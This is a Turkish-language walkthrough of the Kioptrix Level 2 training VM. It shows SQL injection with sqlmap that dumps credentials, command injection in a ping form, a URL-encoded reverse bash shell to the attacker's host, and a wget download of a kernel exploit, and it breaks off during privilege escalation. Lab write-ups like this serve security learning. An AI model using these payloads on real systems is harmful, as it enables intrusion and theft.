Makine Hakkında Bilgiler
Açıklama:
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
Vulnhub Sayfası: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/#description
İndirme Sayfası: https://download.vulnhub.com/kioptrix/archive/Kioptrix_Level_2-original.rar
Çözüm
Ip tespiti ile başlayalım.
┌──(root💀kali)-[/home/kali]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.21 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::20c:29ff:fe4a:4d3f prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4a:4d:3f txqueuelen 1000 (Ethernet)
RX packets 11 bytes 949 (949.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 12 bytes 1232 (1.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (400.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 400 (400.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[/home/kali]
└─# arp-scan -l | grep 00:0c:29:8a:91:fa
192.168.0.23 00:0c:29:8a:91:fa VMware, Inc.Daha sonrasında bir nmap taraası gerçekleştirelim.
┌──(root💀kali)-[/home/kali]
└─# nmap -p- -A 192.168.0.23 -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-20 18:36 EDT
Nmap scan report for 192.168.0.23
Host is up (0.00095s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 605/udp status
|_ 100024 1 608/tcp status
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after: 2010-10-08T00:10:47
|_ssl-date: 2021-05-20T19:27:22+00:00; -3h09m45s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
608/tcp open status 1 (RPC #100024)
631/tcp open ipp CUPS 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:8A:91:FA (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
Host script results:
|_clock-skew: -3h09m45s
TRACEROUTE
HOP RTT ADDRESS
1 0.95 ms 192.168.0.23
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.29 seconds
Araştırmalarımı yaptıktan sonra kendimi en iyi hissettiğim yer olan web’ten sistemi incelemeye başladım ve bir giriş sayfası ile karşılaştım. Hemen burp’umü açtım ve trafiği yakaladım. Daha sonrasında bu http isteğini bir dosyaya kaydettim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# cat istek.txt
POST /index.php HTTP/1.1
Host: 192.168.0.23
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://192.168.0.23
Connection: close
Referer: http://192.168.0.23/
Upgrade-Insecure-Requests: 1
uname=admin&psw=admin&btnLogin=Login
Amacım bu istek içerisinde sql injection aramak olacaktır. Bunun için sqlmap aracını kullandım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch --time-sec 10
___
__H__
___ ___[.]_____ ___ ___ {1.5.2#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:42:04 /2021-05-20/
[18:42:04] [INFO] parsing HTTP request from 'istek.txt'
[18:42:04] [INFO] testing connection to the target URL
[18:42:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:42:04] [INFO] testing if the target URL content is stable
[18:42:05] [INFO] target URL content is stable
[18:42:05] [INFO] testing if POST parameter 'uname' is dynamic
[18:42:05] [WARNING] POST parameter 'uname' does not appear to be dynamic
[18:42:05] [WARNING] heuristic (basic) test shows that POST parameter 'uname' might not be injectable
[18:42:05] [INFO] testing for SQL injection on POST parameter 'uname'
[18:42:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:42:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[18:42:05] [INFO] POST parameter 'uname' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="the")
[18:42:05] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[18:42:05] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:42:05] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:42:05] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:42:05] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:42:05] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[18:42:05] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[18:42:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:42:05] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:42:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:42:05] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:42:05] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:42:05] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:42:05] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:42:05] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:42:05] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:42:05] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[18:42:05] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[18:42:05] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[18:42:05] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[18:42:05] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[18:42:05] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[18:42:05] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[18:42:05] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[18:42:05] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[18:42:05] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[18:42:05] [INFO] testing 'Generic inline queries'
[18:42:05] [INFO] testing 'MySQL inline queries'
[18:42:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:42:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:42:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[18:42:06] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[18:42:06] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[18:42:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[18:42:06] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[18:42:32] [INFO] POST parameter 'uname' appears to be 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable
[18:42:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:42:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:42:32] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:42:32] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[18:42:32] [INFO] testing 'Generic UNION query (60) - 21 to 40 columns'
[18:42:32] [INFO] testing 'Generic UNION query (60) - 41 to 60 columns'
[18:42:32] [INFO] testing 'Generic UNION query (60) - 61 to 80 columns'
[18:42:32] [INFO] testing 'Generic UNION query (60) - 81 to 100 columns'
[18:42:32] [INFO] testing 'MySQL UNION query (60) - 1 to 20 columns'
[18:42:33] [INFO] testing 'MySQL UNION query (60) - 21 to 40 columns'
[18:42:33] [INFO] testing 'MySQL UNION query (60) - 41 to 60 columns'
[18:42:33] [INFO] testing 'MySQL UNION query (60) - 61 to 80 columns'
[18:42:33] [INFO] testing 'MySQL UNION query (60) - 81 to 100 columns'
[18:42:33] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[18:42:33] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 381 HTTP(s) requests:
---
Parameter: uname (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: uname=-3039' OR 6345=6345-- kdFD&psw=admin&btnLogin=Login
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: uname=admin' AND 3338=BENCHMARK(10000000,MD5(0x58477146))-- hXip&psw=admin&btnLogin=Login
---
[18:42:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4
web application technology: PHP 4.3.9, Apache 2.0.52
back-end DBMS: MySQL < 5.0.12
[18:42:33] [INFO] fetching database names
[18:42:33] [INFO] fetching number of databases
[18:42:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:42:33] [INFO] retrieved:
[18:42:33] [INFO] retrieved:
[18:42:33] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[18:42:33] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[18:42:33] [ERROR] unable to retrieve the number of databases
[18:42:33] [INFO] falling back to current database
[18:42:33] [INFO] fetching current database
[18:42:33] [INFO] retrieved: webapp
available databases [1]:
[*] webapp
[18:42:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.23'
[*] ending @ 18:42:33 /2021-05-20/Evet görüldüğü üzere database’i görüntüleyebildik. Şimdi veri çıkartalım. Bu arada uname parametresinde zafiyet olduğunu bulduk ve diğer testleri gerçekletirmedik. Sqlmap!İn bulduğu zafiyetlere göre boolean-based blind ve time-based blind sql injectionlarımız var. Bunlarla ilgili paylaoadlar aşağıda tekrardan verilmiştir.
---
Parameter: uname (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: uname=-3039' OR 6345=6345-- kdFD&psw=admin&btnLogin=Login
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: uname=admin' AND 3338=BENCHMARK(10000000,MD5(0x58477146))-- hXip&psw=admin&btnLogin=Login
---
Şimdi verileri çıkartalım.
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbms="Mysql" -D webapp -tables
___
__H__
___ ___[)]_____ ___ ___ {1.5.2#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:45:28 /2021-05-20/
[18:45:28] [INFO] parsing HTTP request from 'istek.txt'
[18:45:28] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: uname=-3039' OR 6345=6345-- kdFD&psw=admin&btnLogin=Login
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: uname=admin' AND 3338=BENCHMARK(5000000,MD5(0x58477146))-- hXip&psw=admin&btnLogin=Login
---
[18:45:28] [INFO] testing MySQL
[18:45:28] [INFO] confirming MySQL
[18:45:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4
web application technology: Apache 2.0.52, PHP 4.3.9
back-end DBMS: MySQL < 5.0.0
[18:45:28] [WARNING] information_schema not available, back-end DBMS is MySQL < 5.0
do you want to use common table existence check? [y/N/q] y
which common tables (wordlist) file do you want to use?
[1] default '/usr/share/sqlmap/data/txt/common-tables.txt' (press Enter)
[2] custom
> 1
[18:45:36] [INFO] performing table existence using items from '/usr/share/sqlmap/data/txt/common-tables.txt'
[18:45:36] [INFO] adding words used on web page to the check list
[18:45:36] [INFO] checking database 'webapp'
10
[18:45:46] [INFO] starting 10 threads
[18:45:46] [INFO] retrieved: users
Database: webapp
[1 table]
+-------+
| users |
+-------+
[18:46:07] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.23'
[*] ending @ 18:46:07 /2021-05-20/Sqlap çıktlarında [18:45:28] [WARNING] information_schema not available, back-end DBMS is MySQL < 5.0 bilgisini aldık. Bu yüzden uniongibi anahtar kelimelerle sorgu birleştirip information_schema database’inden okuma işlemi yapamıyoruz. Sözlük saldırısı ile tablo çıkartabildik. Tablomuzun adı users tablosu. Yine aynı yöntemle şimdi de sütunlara sözlük saldırısı yaptık ve istediğimiz sonuçları elde ettik.
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# sqlmap -r istek.txt --level=5 --risk=3 --dbms="Mysql" -D webapp -T users --dump
___
__H__
___ ___[.]_____ ___ ___ {1.5.2#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:48:10 /2021-05-20/
[18:48:10] [INFO] parsing HTTP request from 'istek.txt'
[18:48:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: uname=-3039' OR 6345=6345-- kdFD&psw=admin&btnLogin=Login
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: uname=admin' AND 3338=BENCHMARK(5000000,MD5(0x58477146))-- hXip&psw=admin&btnLogin=Login
---
[18:48:10] [INFO] testing MySQL
[18:48:10] [INFO] confirming MySQL
[18:48:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4
web application technology: PHP 4.3.9, Apache 2.0.52
back-end DBMS: MySQL < 5.0.0
[18:48:10] [WARNING] information_schema not available, back-end DBMS is MySQL < 5.0
do you want to use common column existence check? [y/N/q] y
which common columns (wordlist) file do you want to use?
[1] default '/usr/share/sqlmap/data/txt/common-columns.txt' (press Enter)
[2] custom
> 1
[18:48:17] [INFO] checking column existence using items from '/usr/share/sqlmap/data/txt/common-columns.txt'
[18:48:17] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 20
[18:48:19] [CRITICAL] maximum number of used threads is 10 avoiding potential connection issues
please enter number of threads? [Enter for 1 (current)] 10
[18:48:21] [INFO] starting 10 threads
[18:48:21] [INFO] retrieved: id
[18:48:21] [INFO] retrieved: username
[18:48:22] [INFO] retrieved: password
[18:48:36] [INFO] retrieved: username
[18:48:36] [INFO] retrieved: password
[18:48:36] [INFO] fetching entries for table 'users' in database 'webapp'
[18:48:36] [INFO] fetching number of entries for table 'users' in database 'webapp'
[18:48:36] [INFO] retrieved: 2
[18:48:36] [INFO] retrieving the length of query output
[18:48:36] [INFO] retrieved: 1
[18:48:37] [INFO] retrieved: 1
[18:48:37] [INFO] retrieving the length of query output
[18:48:37] [INFO] retrieved: 10
[18:48:37] [INFO] retrieved: 5afac8d85f
[18:48:37] [INFO] retrieving the length of query output
[18:48:37] [INFO] retrieved: 5
[18:48:37] [INFO] retrieved: admin
[18:48:37] [INFO] retrieving the length of query output
[18:48:37] [INFO] retrieved: 1
[18:48:37] [INFO] retrieved: 2
[18:48:37] [INFO] retrieving the length of query output
[18:48:37] [INFO] retrieved: 10
[18:48:38] [INFO] retrieved: 66lajGGbla
[18:48:38] [INFO] retrieving the length of query output
[18:48:38] [INFO] retrieved: 4
[18:48:38] [INFO] retrieved: john
Database: webapp
Table: users
[2 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | 5afac8d85f | admin |
| 2 | 66lajGGbla | john |
+----+------------+----------+
[18:48:38] [INFO] table 'webapp.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.0.23/dump/webapp/users.csv'
[18:48:38] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.23'
[*] ending @ 18:48:38 /2021-05-20/Şimdi web uygulamasına giriş yapmayı deneyelim. admin, 5afac8d85f bilgileri ile giriş yapmayı denediğimde sayfanın html kodlarının bozuk olduğunu gördüm. Burp aracılığıyla tarayıcıya aşağıdaki hatalı kodlar yerine doğru kodları gönderdim ve bir tml formu karşıma çıktı. Aşağıda ilk olarak hatalı http cevabını daha sonrasında ise sadece bir tırnak (‘) ekleyerek elde ettiğim doğru cevabı gösterdim. Gösetermiş olduğum 2. cevabı tarayıcıya gönderdim.
HTTP/1.1 200 OK
Date: Thu, 20 May 2021 19:42:53 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 585
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- Start of HTML when logged in as Administator -->
<form name="ping" action="pingit.php" method="post" target="_blank">
<table width='600' border='1'>
<tr valign='middle'>
<td colspan='2' align='center'>
<b>Welcome to the Basic Administrative Web Console<br></b>
</td>
</tr>
<tr valign='middle'>
<td align='center'>
Ping a Machine on the Network:
</td>
<td align='center>
<input type="text" name="ip" size="30">
<input type="submit" value="submit" name="submit">
</td>
</td>
</tr>
</table>
</form>
</body>
</html>
HTTP/1.1 200 OK
Date: Thu, 20 May 2021 19:42:53 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 585
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- Start of HTML when logged in as Administator -->
<form name="ping" action="pingit.php" method="post" target="_blank">
<table width='600' border='1'>
<tr valign='middle'>
<td colspan='2' align='center'>
<b>Welcome to the Basic Administrative Web Console<br></b>
</td>
</tr>
<tr valign='middle'>
<td align='center'>
Ping a Machine on the Network:
</td>
<td align='center'>
<input type="text" name="ip" size="30">
<input type="submit" value="submit" name="submit">
</td>
</td>
</tr>
</table>
</form>
</body>
</html>
Daha sonrasında karşıma çıkan html formunda bir ip’ye ping atmayı denedim. Yine bu isteğimi burp ile yakalayıp, inceleme yapma üzere repeater’a attım.
POST /pingit.php HTTP/1.1
Host: 192.168.0.23
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://192.168.0.23
Connection: close
Referer: http://192.168.0.23/index.php
Upgrade-Insecure-Requests: 1
ip=8.8.8.8&submit=submitDönen cevap:
HTTP/1.1 200 OK
Date: Thu, 20 May 2021 19:46:31 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 385
Connection: close
Content-Type: text/html; charset=UTF-8
8.8.8.8<pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=0 ttl=112 time=65.6 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=112 time=60.2 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=112 time=59.5 ms
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 59.517/61.821/65.658/2.738 ms, pipe 2
</pre>- istek:
POST /pingit.php HTTP/1.1
Host: 192.168.0.23
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.0.23
Connection: close
Referer: http://192.168.0.23/index.php
Upgrade-Insecure-Requests: 1
ip=8.8.8.8; ls&submit=submit2 cevap:
HTTP/1.1 200 OK
Date: Thu, 20 May 2021 19:46:59 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 410
Connection: close
Content-Type: text/html; charset=UTF-8
8.8.8.8; ls<pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=0 ttl=112 time=61.6 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=112 time=58.2 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=112 time=59.6 ms
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
rtt min/avg/max/mdev = 58.262/59.861/61.657/1.421 ms, pipe 2
index.php
pingit.php
</pre>Harika! İşletim sistemi seviyesinde komut çalıştırabiliyoruz. Hemen reverse shell elde edelim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# msfvenom -p cmd/unix/reverse_bash lhost=192.168.0.21 lport=1822
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 66 bytes
0<&173-;exec 173<>/dev/tcp/192.168.0.21/1822;sh <&173 >&173 2>&173msfvenom aracılığı ile reverse elde ettim ve bunu url encodingli formatta isteğimin içerisine yerleştirdim. Reverse shell’i almak için bir dinleme noktası oluşturdum.
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# nc -lvp 1822
listening on [any] 1822 ...
Şimdi ise burp repeater üzerinden isteğimizi tekrar gönderelim.
POST /pingit.php HTTP/1.1
Host: 192.168.0.23
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Origin: http://192.168.0.23
Connection: close
Referer: http://192.168.0.23/index.php
Upgrade-Insecure-Requests: 1
ip=8.8.8.8; 0<%26173-%3bexec+173<>/dev/tcp/192.168.0.21/1822%3bsh+<%26173+>%26173+2>%26173&submit=submitReverse shell kısmının encoding formatta olduğuna dikkat edin. Bu işlem sonucunda :
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# nc -lvp 1822
listening on [any] 1822 ...
192.168.0.23: inverse host lookup failed: Unknown host
connect to [192.168.0.21] from (UNKNOWN) [192.168.0.23] 32777
whoami
apache
Başarılı bir şekilde sunucuya bağlandık. İlk olarak local privilege escalation yapmayı denedim. Bunun için nc ile açmış olduğu reverse shell üzerinden bilgiler topladım.
lsb_release -a
LSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
Codename: Final
uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
uname -mrs
Linux 2.6.9-55.EL i686
Bu bilgiler ışığında exploit aradım ve tam denkg elen bir sonuç buldum.
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# searchsploit linux kernel local priv centos
---------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------- ---------------------------------
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 | linux_x86-64/local/42275.c
Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5. | linux_x86/local/42274.c
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE | linux/local/9545.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whi | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedor | linux_x86/local/9542.c
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Pr | linux/local/25444.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) | linux_x86-64/local/45516.c
Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x | linux/local/42887.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privil | linux/local/35370.c
---------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedor | linux_x86/local/9542.c satırı tam bize göre. Hemen deneyelim.
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# locate linux_x86/local/9542.c
/usr/share/exploitdb/exploits/linux_x86/local/9542.c
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c .
┌──(root💀kali)-[/home/kali/oscp/kioptrix2]
└─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
C dosyasını python3 aracılığıyla oluşturmuş olduğum bir http sunucusundan hedef makineme transfer edeceğim. Bunun için /tmp klasörüne gidiyorum.
cd /tmp
pwd
/tmp
wget http://192.168.0.21:8000/9542.c
--16:09:51-- http://192.168.0.21:8000/9542.c
=> `9542.c'
Connecting to 192.168.0.21:8000... connected.
